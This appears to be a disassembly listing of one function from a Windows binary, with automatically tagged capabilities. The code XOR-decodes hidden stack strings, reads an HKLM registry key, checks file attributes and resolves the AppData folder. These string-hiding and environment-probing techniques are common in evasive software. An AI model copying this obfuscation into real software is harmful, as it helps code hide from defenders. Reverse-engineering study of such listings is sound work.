Function at 0x14018a734
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
xor edi, edi
mov dword [rsp + 0x50], 0x580053
mov dword [rsp + 0x54], 0x570051
mov ecx, edi
mov dword [rsp + 0x58], 0x480041
mov dword [rsp + 0x5c], 0x44005a
lea esi, [rdi + 1]
mov dword [rsp + 0x60], 0x7b007d
lea edx, [rdi + 0x33]
mov dword [rsp + 0x64], 0x6e0078
mov dword [rsp + 0x68], 0x790062
mov dword [rsp + 0x6c], 0x60004d
mov dword [rsp + 0x70], 0x65007e
mov dword [rsp + 0x74], 0x7c0060
mov dword [rsp + 0x78], 0x460078
mov dword [rsp + 0x7c], 0x630073
mov dword [rbp - 0x80], 0x4a0044
mov dword [rbp - 0x7c], 0x69007f
mov dword [rbp - 0x78], 0x74006a
mov dword [rbp - 0x74], 0x7a007d
mov dword [rbp - 0x70], 0x7d0053
mov dword [rbp - 0x6c], 0x420067
mov dword [rbp - 0x68], 0x5c0057
mov dword [rbp - 0x64], 0x490067
mov dword [rbp - 0x60], 0x40005c
mov dword [rbp - 0x5c], 0x430069
mov dword [rbp - 0x58], 0x4c0049
mov dword [rbp - 0x54], 0x70005a
mov dword [rbp - 0x50], 0x7e0075
mov dword [rbp - 0x4c], 0x61
movsxd rax, ecx
xor word [rsp + rax*2 + 0x50], cx
add ecx, esi
cmp ecx, edx
jb 0x14018a826
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
mov word [rbp - 0x4a], di
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rdi
call fcn.14013edcc
lea r8, [rsp + 0x30]
mov rdx, 0xffffffff80000002
lea rcx, [rbp + 0x180]
call fcn.140183ef0
lea rcx, [rsp + 0x30]
call fcn.14013ed68
mov ecx, edi
mov dword [rsp + 0x30], 0x6c0049
mov edx, 9
mov dword [rsp + 0x34], 0x640063
mov dword [rsp + 0x38], 0x550061
mov dword [rsp + 0x3c], 0x730067
mov dword [rsp + 0x40], 0x60
movsxd rax, ecx
xor word [rsp + rax*2 + 0x30], cx
add ecx, esi
cmp ecx, edx
jb 0x14018a8ab
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x18]
mov word [rsp + 0x42], di
movdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x18], rdi
call fcn.14013edcc
lea r8, [rbp + 0x18]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x180]
call fcn.140184080
lea rcx, [rbp + 0x18]
call fcn.14013ed68
mov r8, qword [rbp + 8]
lea rcx, [rbp - 8]
cmp r8, rsi
mov rax, rsi
cmovb rax, r8
cmp qword [rbp + 0x10], 8
cmovae rcx, qword [rbp - 8]
sub r8, rax
mov qword [rbp + 8], r8
lea r8, [r8*2 + 2]
lea rdx, [rcx + rax*2]
call fcn.1403cc5a0
mov rcx, qword [rbp + 8]
lea rax, [rbp - 8]
dec rcx
mov dword [rsp + 0x30], 0x72002e
cmp qword [rbp + 0x10], 8
mov qword [rbp + 8], rcx
cmovae rax, qword [rbp - 8]
mov dword [rsp + 0x34], 0x70007b
mov word [rax + rcx*2], di
xor eax, eax
mov word [rsp + 0x38], ax
mov ecx, edi
movsxd rax, ecx
xor word [rsp + rax*2 + 0x30], cx
add ecx, esi
cmp ecx, 4
jb 0x14018a964
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x18]
mov word [rsp + 0x38], di
movdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x18], rdi
call fcn.14013edcc
xor eax, eax
mov dword [rsp + 0x30], 0x64002e
mov word [rsp + 0x38], ax
mov ecx, edi
mov dword [rsp + 0x34], 0x66007a
movsxd rax, ecx
xor word [rsp + rax*2 + 0x30], cx
add ecx, esi
cmp ecx, 4
jb 0x14018a9b0
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
mov word [rsp + 0x38], di
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x50], rdi
call fcn.14013edcc
lea r8, [rbp + 0x18]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 8]
call fcn.1401843c4
cmp qword [rbp + 8], rdi
jbe 0x14018aa16
cmp qword [rbp + 0x10], 8
lea rcx, [rbp - 8]
cmovae rcx, qword [rbp - 8]
call fcn.1402035b0
jmp 0x14018ad26
call fcn.140141104
lea rdx, [rsp + 0x30]
call fcn.1401a4ec0
xor eax, eax
mov dword [rsp + 0x50], 0x51005c
mov word [rbp - 0x64], ax
mov ecx, edi
mov dword [rsp + 0x54], 0x6c0070
mov dword [rsp + 0x58], 0x770063
mov dword [rsp + 0x5c], 0x6a0067
mov dword [rsp + 0x60], 0x4f0028
mov dword [rsp + 0x64], 0x670063
mov dword [rsp + 0x68], 0x7e0069
mov dword [rsp + 0x6c], 0x27002e
mov dword [rsp + 0x70], 0x290068
mov dword [rsp + 0x74], 0x3a0024
mov dword [rsp + 0x78], 0x500048
mov dword [rsp + 0x7c], 0x640077
mov dword [rbp - 0x80], 0x580061
mov dword [rbp - 0x7c], 0x6f0074
mov dword [rbp - 0x78], 0x5e0075
mov dword [rbp - 0x74], 0x7a0076
mov dword [rbp - 0x70], 0x550041
mov dword [rbp - 0x6c], 0x66007d
mov dword [rbp - 0x68], 0x76006b
movsxd rax, ecx
xor word [rsp + rax*2 + 0x50], cx
add ecx, esi
cmp ecx, 0x26
jb 0x14018aabe
or rbx, 0xffffffffffffffff
mov word [rbp - 0x64], di
mov r8, rbx
lea rax, [rsp + 0x50]
inc r8
cmp word [rax + r8*2], di
jne 0x14018aadd
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14013ec14
cmp qword [rsp + 0x48], 8
lea rcx, [rsp + 0x30]
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14018ab1a
test al, 0x10
jne 0x14018ac71
mov dword [rsp + 0x50], 0x6e004e
mov r11d, 0x51
mov dword [rsp + 0x54], 0x6a0022
mov ecx, edi
mov dword [rsp + 0x58], 0x76006a
mov dword [rsp + 0x5c], 0x660072
mov dword [rsp + 0x60], 0x650064
mov dword [rsp + 0x64], 0x6f006f
mov dword [rsp + 0x68], 0x48002c
mov dword [rsp + 0x6c], 0x7c006f
mov dword [rsp + 0x70], 0x500069
mov dword [rsp + 0x74], 0x67007c
mov dword [rsp + 0x78], 0x76007d
mov dword [rsp + 0x7c], 0x72007e
mov dword [rbp - 0x80], 0x6d0079
mov dword [rbp - 0x7c], 0x7d003a
mov dword [rbp - 0x78], 0x680073
mov dword [rbp - 0x74], 0x7b0070
mov dword [rbp - 0x70], 0x1000c
mov dword [rbp - 0x6c], 0x4d004b
mov dword [rbp - 0x68], 0x510057
mov dword [rbp - 0x64], 0x4b0047
mov dword [rbp - 0x60], 0x90044
mov dword [rbp - 0x5c], 0x43005e
mov dword [rbp - 0x58], 0x400049
mov dword [rbp - 0x54], 0xf0002
mov dword [rbp - 0x50], 0x5e005c
mov dword [rbp - 0x4c], 0x570053
mov dword [rbp - 0x48], 0x520014
mov dword [rbp - 0x44], 0x5a0057
mov dword [rbp - 0x40], 0x19005d
mov dword [rbp - 0x3c], 0x540054
mov dword [rbp - 0x38], 0x50004e
mov dword [rbp - 0x34], 0x53005f
mov dword [rbp - 0x30], 0x38002c
mov dword [rbp - 0x2c], 0x220062
mov dword [rbp - 0x28], 0x21002a
mov dword [rbp - 0x24], 0x330066
mov dword [rbp - 0x20], 0x30003a
mov dword [rbp - 0x1c], 0x2a006a
mov dword [rbp - 0x18], 0x2c002b
mov dword [rbp - 0x14], 0x210027
mov dword [rbp - 0x10], 0x7e
movsxd rax, ecx
xor word [rsp + rax*2 + 0x50], cx
add ecx, esi
cmp ecx, r11d
jb 0x14018ac4d
lea rdx, [rsp + 0x50]
mov word [rbp - 0xe], di
xor ecx, ecx
call fcn.1401a8110
call fcn.1401a9e40
xor eax, eax
mov dword [rsp + 0x50], 0x44005c
mov word [rsp + 0x7c], ax
mov ecx, edi
mov dword [rsp + 0x54], 0x700063
mov dword [rsp + 0x58], 0x44007d
mov dword [rsp + 0x5c], 0x730068
mov dword [rsp + 0x60], 0x4a0061
mov dword [rsp + 0x64], 0x6e0062
mov dword [rsp + 0x68], 0x79006d
mov dword [rsp + 0x6c], 0x4a0051
mov dword [rsp + 0x70], 0x42005f
mov dword [rsp + 0x74], 0x60003c
mov dword [rsp + 0x78], 0x66006d
movsxd rax, ecx
xor word [rsp + rax*2 + 0x50], cx
add ecx, esi
cmp ecx, 0x16
jb 0x14018acd2
mov word [rsp + 0x7c], di
lea rax, [rsp + 0x50]
inc rbx
cmp word [rax + rbx*2], di
jne 0x14018aceb
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14013ec14
cmp qword [rsp + 0x48], 8
lea rcx, [rsp + 0x30]
cmovae rcx, qword [rsp + 0x30]
call fcn.1402035b0
lea rcx, [rsp + 0x30]
call fcn.14013ed68
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x104
call fcn.1403ccc50
lea rax, [rbp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x801a
xor ecx, ecx
call qword [sym.imp.shell32.dll_SHGetFolderPathA]
xor eax, eax
mov dword [rsp + 0x30], 0x7063445c
mov byte [rsp + 0x3e], al
mov ecx, edi
mov dword [rsp + 0x34], 0x7368447d
mov dword [rsp + 0x38], 0x6e624a61
mov word [rsp + 0x3c], 0x796d
movsxd rax, ecx
xor byte [rsp + rax + 0x30], cl
add ecx, esi
cmp ecx, 0xe
jb 0x14018ad7a
lea rcx, [rbp + 0x40]
mov byte [rsp + 0x3e], dil
sub rcx, rsi
add rcx, rsi
cmp byte [rcx], dil
jne 0x14018ad94
lea r8, [rsp + 0x30]
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x14018ada3
call fcn.140141104
lea rdx, [rbp + 0x40]
call fcn.1401a6300
lea rcx, [rbp - 8]
call fcn.14013ed68
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14018ae03
mov eax, 0x80000000
add rax, rcx
cmp rax, 5
jbe 0x14018ae03
cmp rcx, 0xffffffff80000007
je 0x14018ae03
cmp rcx, 0xffffffff80000060
je 0x14018ae03
cmp rcx, 0xffffffff80000050
je 0x14018ae03
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret